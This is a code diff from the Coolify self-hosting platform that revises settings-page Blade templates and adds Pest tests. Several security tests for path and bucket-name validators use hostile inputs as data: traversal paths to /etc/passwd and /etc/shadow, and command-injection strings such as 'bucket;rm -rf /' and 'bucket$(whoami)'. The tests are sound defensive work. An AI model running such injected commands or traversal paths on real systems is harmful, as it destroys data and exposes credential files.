<x-forms.checkbox id="is_buildtime"
@ -22,4 +34,4 @@
<x-forms.button type="submit" @click="slideOverOpen=false">
Save
</x-forms.button>
</form>
</form>

View file

@ -1,28 +1,29 @@
<div>
<x-slot:title>
Settings | Coolify
</x-slot>
<x-settings.navbar />
<div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }" class="flex flex-col h-full gap-8 sm:flex-row">
<x-settings.sidebar activeMenu="general" />
<form wire:submit='submit' class="flex flex-col">
<div class="flex items-center gap-2">
<h2>General</h2>
<x-forms.button type="submit">
Save
</x-forms.button>
</div>
<div class="pb-4">General configuration for your Coolify instance.</div>
</x-slot>
<x-settings.navbar />
<div x-data="{ activeTab: window.location.hash ? window.location.hash.substring(1) : 'general' }"
class="flex flex-col h-full gap-8 sm:flex-row">
<x-settings.sidebar activeMenu="general" />
<form wire:submit='submit' class="flex flex-col">
<div class="flex items-center gap-2">
<h2>General</h2>
<x-forms.button canGate="update" :canResource="$settings" type="submit">
Save
</x-forms.button>
</div>
<div class="pb-4">General configuration for your Coolify instance.</div>
<div class="flex flex-col gap-2">
<div class="flex flex-wrap items-end gap-2">
<div class="flex gap-2 md:flex-row flex-col w-full">
<x-forms.input id="fqdn" label="Domain"
helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
placeholder="https://coolify.yourdomain.com" />
<x-forms.input id="instance_name" label="Name" placeholder="Coolify"
helper="Custom name for your Coolify instance, shown in the URL." />
<div class="w-full" x-data="{
<div class="flex flex-col gap-2">
<div class="flex flex-wrap items-end gap-2">
<div class="flex gap-2 md:flex-row flex-col w-full">
<x-forms.input canGate="update" :canResource="$settings" id="fqdn" label="Domain"
helper="Enter the full domain name (FQDN) of the instance, including 'https://' if you want to secure the dashboard with HTTPS. Setting this will make the dashboard accessible via this domain, secured by HTTPS, instead of just the IP address."
placeholder="https://coolify.yourdomain.com" />
<x-forms.input canGate="update" :canResource="$settings" id="instance_name" label="Name" placeholder="Coolify"
helper="Custom name for your Coolify instance, shown in the URL." />
<div class="w-full" x-data="{
open: false,
search: '{{ $settings->instance_timezone ?: '' }}',
timezones: @js($this->timezones),
@ -35,70 +36,73 @@
})
}
}">
<div class="flex items-center mb-1">
<label for="instance_timezone">Instance
Timezone</label>
<x-helper class="ml-2"
helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
</div>
<div class="relative">
<div class="inline-flex relative items-center w-full">
<input autocomplete="off"
wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
wire:dirty.class="dark:focus:ring-warning dark:ring-warning" x-model="search"
@focus="open = true" @click.away="open = false" @input="open = true"
class="w-full input" :placeholder="placeholder" wire:model="instance_timezone">
<svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
@click="open = true">
<path stroke-linecap="round" stroke-linejoin="round"
d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
</svg>
<div class="flex items-center mb-1">
<label for="instance_timezone">Instance
Timezone</label>
<x-helper class="ml-2"
helper="Timezone for the Coolify instance. This is used for the update check and automatic update frequency." />
</div>
<div x-show="open"
class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
<template
x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
:key="timezone">
<div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
x-text="timezone"></div>
</template>
<div class="relative">
<div class="inline-flex relative items-center w-full">
<input autocomplete="off"
wire:dirty.class.remove='dark:focus:ring-coolgray-300 dark:ring-coolgray-300'
wire:dirty.class="dark:focus:ring-warning dark:ring-warning"
x-model="search" @focus="open = true" @click.away="open = false"
@input="open = true" class="w-full input" :placeholder="placeholder"
wire:model="instance_timezone">
<svg class="absolute right-0 mr-2 w-4 h-4" xmlns="http://www.w3.org/2000/svg"
fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
@click="open = true">
<path stroke-linecap="round" stroke-linejoin="round"
d="M8.25 15L12 18.75 15.75 15m-7.5-6L12 5.25 15.75 9" />
</svg>
</div>
<div x-show="open"
class="overflow-auto overflow-x-hidden absolute z-50 mt-1 w-full max-h-60 bg-white rounded-md border shadow-lg dark:bg-coolgray-100 dark:border-coolgray-200 scrollbar">
<template
x-for="timezone in timezones.filter(tz => tz.toLowerCase().includes(search.toLowerCase()))"
:key="timezone">
<div @click="search = timezone; open = false; $wire.set('instance_timezone', timezone); $wire.submit()"
class="px-4 py-2 text-gray-800 cursor-pointer hover:bg-gray-100 dark:hover:bg-coolgray-300 dark:text-gray-200"
x-text="timezone"></div>
</template>
</div>
</div>
</div>
</div>
</div>
<div class="flex gap-2 md:flex-row flex-col w-full">
<x-forms.input id="public_ipv4" type="password" label="Instance's Public IPv4"
helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
placeholder="1.2.3.4" autocomplete="new-password" />
<x-forms.input id="public_ipv6" type="password" label="Instance's Public IPv6"
helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
placeholder="2001:db8::1" autocomplete="new-password" />
</div>
@if(isDev())
<div class="flex gap-2 md:flex-row flex-col w-full">
<x-forms.input id="dev_helper_version" label="Dev Helper Version (Development Only)"
helper="Override the default coolify-helper image version. Leave empty to use the default version from config ({{ config('constants.coolify.helper_version') }}). Examples: 1.0.11, latest, dev"
placeholder="{{ config('constants.coolify.helper_version') }}" />
</div>
@endif
<div class="flex gap-2 md:flex-row flex-col w-full">
<x-forms.input canGate="update" :canResource="$settings" id="public_ipv4" type="password" label="Instance's Public IPv4"
helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
placeholder="1.2.3.4" autocomplete="new-password" />
<x-forms.input canGate="update" :canResource="$settings" id="public_ipv6" type="password" label="Instance's Public IPv6"
helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
placeholder="2001:db8::1" autocomplete="new-password" />
</div>
@if($buildActivityId)
<div class="w-full mt-4">
<livewire:activity-monitor header="Building Helper Image" :activityId="$buildActivityId"
:fullHeight="false" />
</div>
@endif
@if(isDev())
<x-forms.input canGate="update" :canResource="$settings" id="dev_helper_version" label="Dev Helper Version (Development Only)"
helper="Override the default coolify-helper image version. Leave empty to use the default version from config ({{ config('constants.coolify.helper_version') }}). Examples: 1.0.11, latest, dev"
placeholder="{{ config('constants.coolify.helper_version') }}" />
@endif
</div>
</div>
</form>
<x-domain-conflict-modal
:conflicts="$domainConflicts"
:showModal="$showDomainConflictModal"
confirmAction="confirmDomainUsage">
<x-slot:consequences>
<ul class="mt-2 ml-4 list-disc">
<li>The Coolify instance domain will conflict with existing resources</li>
<li>SSL certificates might not work correctly</li>
<li>Routing behavior will be unpredictable</li>
<li>You may not be able to access the Coolify dashboard properly</li>
</ul>
</x-slot:consequences>
</x-domain-conflict-modal>
</div>
</div>
</form>
<x-domain-conflict-modal :conflicts="$domainConflicts" :showModal="$showDomainConflictModal"
confirmAction="confirmDomainUsage">
<x-slot:consequences>
<ul class="mt-2 ml-4 list-disc">
<li>The Coolify instance domain will conflict with existing resources</li>
<li>SSL certificates might not work correctly</li>
<li>Routing behavior will be unpredictable</li>
<li>You may not be able to access the Coolify dashboard properly</li>
</ul>
</x-slot:consequences>
</x-domain-conflict-modal>
</div>
</div>

View file

@ -0,0 +1,84 @@
<?php
use App\Jobs\CoolifyTask;
it('CoolifyTask has failed method that handles cleanup', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
// Verify failed method exists
expect($reflection->hasMethod('failed'))->toBeTrue();
// Get the failed method
$failedMethod = $reflection->getMethod('failed');
// Read the method source to verify it dispatches events
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify the implementation contains event dispatch logic
expect($methodSource)
->toContain('call_event_on_finish')
->and($methodSource)->toContain('event(new $eventClass')
->and($methodSource)->toContain('call_event_data')
->and($methodSource)->toContain('Log::info');
});
it('CoolifyTask failed method updates activity status to ERROR', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify activity status is set to ERROR
expect($methodSource)
->toContain("'status' => ProcessStatus::ERROR->value")
->and($methodSource)->toContain("'error' =>")
->and($methodSource)->toContain("'failed_at' =>");
});
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify try-catch around event dispatch
expect($methodSource)
->toContain('try {')
->and($methodSource)->toContain('} catch (\Throwable $e) {')
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
});
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$constructor = $reflection->getConstructor();
// Get constructor parameters
$parameters = $constructor->getParameters();
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
// Verify both parameters exist
expect($paramNames)
->toContain('call_event_on_finish')
->and($paramNames)->toContain('call_event_data');
// Verify they are public properties (constructor property promotion)
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
});

View file

@ -0,0 +1,67 @@
<?php
use App\View\Components\Forms\EnvVarInput;
it('renders with default properties', function () {
$component = new EnvVarInput;
expect($component->required)->toBeFalse()
->and($component->disabled)->toBeFalse()
->and($component->readonly)->toBeFalse()
->and($component->defaultClass)->toBe('input')
->and($component->availableVars)->toBe([]);
});
it('uses provided id', function () {
$component = new EnvVarInput(id: 'env-key');
expect($component->id)->toBe('env-key');
});
it('accepts available vars', function () {
$vars = [
'team' => ['DATABASE_URL', 'API_KEY'],
'project' => ['STRIPE_KEY'],
'environment' => ['DEBUG'],
];
$component = new EnvVarInput(availableVars: $vars);
expect($component->availableVars)->toBe($vars);
});
it('accepts required parameter', function () {
$component = new EnvVarInput(required: true);
expect($component->required)->toBeTrue();
});
it('accepts disabled state', function () {
$component = new EnvVarInput(disabled: true);
expect($component->disabled)->toBeTrue();
});
it('accepts readonly state', function () {
$component = new EnvVarInput(readonly: true);
expect($component->readonly)->toBeTrue();
});
it('accepts autofocus parameter', function () {
$component = new EnvVarInput(autofocus: true);
expect($component->autofocus)->toBeTrue();
});
it('accepts authorization properties', function () {
$component = new EnvVarInput(
canGate: 'update',
canResource: 'resource',
autoDisable: false
);
expect($component->canGate)->toBe('update')
->and($component->canResource)->toBe('resource')
->and($component->autoDisable)->toBeFalse();
});

View file

@ -0,0 +1,42 @@
<?php
it('formats zero bytes correctly', function () {
expect(formatBytes(0))->toBe('0 B');
});
it('formats null bytes correctly', function () {
expect(formatBytes(null))->toBe('0 B');
});
it('handles negative bytes safely', function () {
expect(formatBytes(-1024))->toBe('0 B');
expect(formatBytes(-100))->toBe('0 B');
});
it('formats bytes correctly', function () {
expect(formatBytes(512))->toBe('512 B');
expect(formatBytes(1023))->toBe('1023 B');
});
it('formats kilobytes correctly', function () {
expect(formatBytes(1024))->toBe('1 KB');
expect(formatBytes(2048))->toBe('2 KB');
expect(formatBytes(1536))->toBe('1.5 KB');
});
it('formats megabytes correctly', function () {
expect(formatBytes(1048576))->toBe('1 MB');
expect(formatBytes(5242880))->toBe('5 MB');
});
it('formats gigabytes correctly', function () {
expect(formatBytes(1073741824))->toBe('1 GB');
expect(formatBytes(2147483648))->toBe('2 GB');
});
it('respects precision parameter', function () {
expect(formatBytes(1536, 0))->toBe('2 KB');
expect(formatBytes(1536, 1))->toBe('1.5 KB');
expect(formatBytes(1536, 2))->toBe('1.5 KB');
expect(formatBytes(1536, 3))->toBe('1.5 KB');
});

View file

@ -0,0 +1,79 @@
<?php
use App\Livewire\Project\Database\Import;
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
expect($result)->toContain('/tmp/test.dump');
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});

View file

@ -0,0 +1,53 @@
<?php
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
use Illuminate\Support\Facades\Auth;
it('has availableSharedVariables computed property', function () {
$component = new Add;
// Check that the method exists
expect(method_exists($component, 'availableSharedVariables'))->toBeTrue();
});
it('component has required properties for environment variable autocomplete', function () {
$component = new Add;
expect($component)->toHaveProperty('key')
->and($component)->toHaveProperty('value')
->and($component)->toHaveProperty('is_multiline')
->and($component)->toHaveProperty('is_literal')
->and($component)->toHaveProperty('is_runtime')
->and($component)->toHaveProperty('is_buildtime')
->and($component)->toHaveProperty('parameters');
});
it('returns empty arrays when currentTeam returns null', function () {
// Mock Auth facade to return null for user
Auth::shouldReceive('user')
->andReturn(null);
$component = new Add;
$component->parameters = [];
$result = $component->availableSharedVariables();
expect($result)->toBe([
'team' => [],
'project' => [],
'environment' => [],
]);
});
it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
// Read the source code to verify the authorization pattern
$reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
$source = file_get_contents($reflectionMethod->getFileName());
// Verify that the method contains authorization checks
expect($source)->toContain('$this->authorize(\'view\', $team)')
->and($source)->toContain('$this->authorize(\'view\', $project)')
->and($source)->toContain('$this->authorize(\'view\', $environment)')
// Verify authorization checks are wrapped in try-catch blocks
->and($source)->toContain('} catch (\Illuminate\Auth\Access\AuthorizationException $e) {');
});

View file

@ -0,0 +1,184 @@
<?php
/**
* Security tests for isSafeTmpPath() function to prevent path traversal attacks.
*/
describe('isSafeTmpPath() security validation', function () {
it('rejects null and empty paths', function () {
expect(isSafeTmpPath(null))->toBeFalse();
expect(isSafeTmpPath(''))->toBeFalse();
expect(isSafeTmpPath(' '))->toBeFalse();
});
it('rejects paths shorter than minimum length', function () {
expect(isSafeTmpPath('/tmp'))->toBeFalse();
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
});
it('accepts valid /tmp/ paths', function () {
expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
});
it('rejects obvious path traversal attempts with ..', function () {
expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
});
it('rejects paths that do not start with /tmp/', function () {
expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
});
it('handles double slashes by normalizing them', function () {
// Double slashes are normalized out, so these should pass
expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
});
it('handles relative directory references by normalizing them', function () {
// ./ references are normalized out, so these should pass
expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
});
it('handles trailing slashes correctly', function () {
expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
});
it('rejects sophisticated path traversal attempts', function () {
// URL encoded .. will be decoded and then rejected
expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
// Mixed case /TMP doesn't start with /tmp/
expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
// URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
// Null byte injection attempt (if string contains it)
expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
});
it('validates paths even when directories do not exist', function () {
// These paths don't exist but should be validated structurally
expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
// But traversal should still be blocked even if dir doesn't exist
expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
});
it('handles real path resolution when directory exists', function () {
// Create a real temp directory to test realpath() logic
$testDir = '/tmp/phpunit-test-'.uniqid();
mkdir($testDir, 0755, true);
try {
expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
} finally {
rmdir($testDir);
}
});
it('prevents symlink-based traversal attacks', function () {
// Create a temp directory and symlink
$testDir = '/tmp/phpunit-symlink-test-'.uniqid();
mkdir($testDir, 0755, true);
// Try to create a symlink to /etc (may not work in all environments)
$symlinkPath = $testDir.'/evil-link';
try {
// Attempt to create symlink (skip test if not possible)
if (@symlink('/etc', $symlinkPath)) {
// If we successfully created a symlink to /etc,
// isSafeTmpPath should resolve it and reject paths through it
$testPath = $symlinkPath.'/passwd';
// The resolved path would be /etc/passwd, not /tmp/...
// So it should be rejected
$result = isSafeTmpPath($testPath);
// Clean up before assertion
unlink($symlinkPath);
rmdir($testDir);
expect($result)->toBeFalse();
} else {
// Can't create symlink, skip this specific test
$this->markTestSkipped('Cannot create symlinks in this environment');
}
} catch (Exception $e) {
// Clean up on any error
if (file_exists($symlinkPath)) {
unlink($symlinkPath);
}
if (file_exists($testDir)) {
rmdir($testDir);
}
throw $e;
}
});
it('has consistent behavior with or without trailing slash', function () {
expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
});
});
/**
* Integration test for S3RestoreJobFinished event using the secure path validation.
*/
describe('S3RestoreJobFinished path validation', function () {
it('validates that safe paths pass validation', function () {
// Test with valid paths - should pass validation
$validData = [
'serverTmpPath' => '/tmp/valid-backup.sql',
'scriptPath' => '/tmp/valid-script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
];
expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
});
it('validates that malicious paths fail validation', function () {
// Test with malicious paths - should fail validation
$maliciousData = [
'serverTmpPath' => '/tmp/../etc/passwd',
'scriptPath' => '/tmp/../../etc/shadow',
'containerTmpPath' => '/etc/important-config',
];
// Verify that our helper would reject these paths
expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
});
it('validates realistic S3 restore paths', function () {
// These are the kinds of paths that would actually be used
$realisticPaths = [
'/tmp/coolify-s3-restore-'.uniqid().'.sql',
'/tmp/db-backup-'.date('Y-m-d').'.dump',
'/tmp/restore-script-'.uniqid().'.sh',
];
foreach ($realisticPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
}
});
});

View file

@ -0,0 +1,149 @@
<?php
use App\Models\S3Storage;
use App\Models\User;
use App\Policies\S3StoragePolicy;
it('allows team member to view S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeTrue();
});
it('denies team member to view S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeFalse();
});
it('allows team admin to update S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeTrue();
});
it('denies team member to update S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeFalse();
});
it('allows team member to delete S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeTrue();
});
it('denies team member to delete S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeFalse();
});
it('allows admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team member to validate connection of S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeTrue();
});
it('denies team member to validate connection of S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeFalse();
});

View file

@ -0,0 +1,128 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
expect($component->filename)->toBeNull();
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
$component->customLocation = '';
expect($component->customLocation)->toBe('');
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
expect($method->invoke($component, 'my-bucket'))->toBeTrue();
expect($method->invoke($component, 'my_bucket'))->toBeTrue();
expect($method->invoke($component, 'mybucket123'))->toBeTrue();
expect($method->invoke($component, 'my.bucket.name'))->toBeTrue();
expect($method->invoke($component, 'Bucket-Name_123'))->toBeTrue();
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
expect($method->invoke($component, 'bucket;rm -rf /'))->toBeFalse();
expect($method->invoke($component, 'bucket$(whoami)'))->toBeFalse();
expect($method->invoke($component, 'bucket`id`'))->toBeFalse();
expect($method->invoke($component, 'bucket|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, 'bucket&ls'))->toBeFalse();
expect($method->invoke($component, "bucket\nid"))->toBeFalse();
expect($method->invoke($component, 'bucket name'))->toBeFalse(); // Space not allowed in bucket
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
expect($method->invoke($component, 'backup.sql'))->toBeTrue();
expect($method->invoke($component, 'folder/backup.sql'))->toBeTrue();
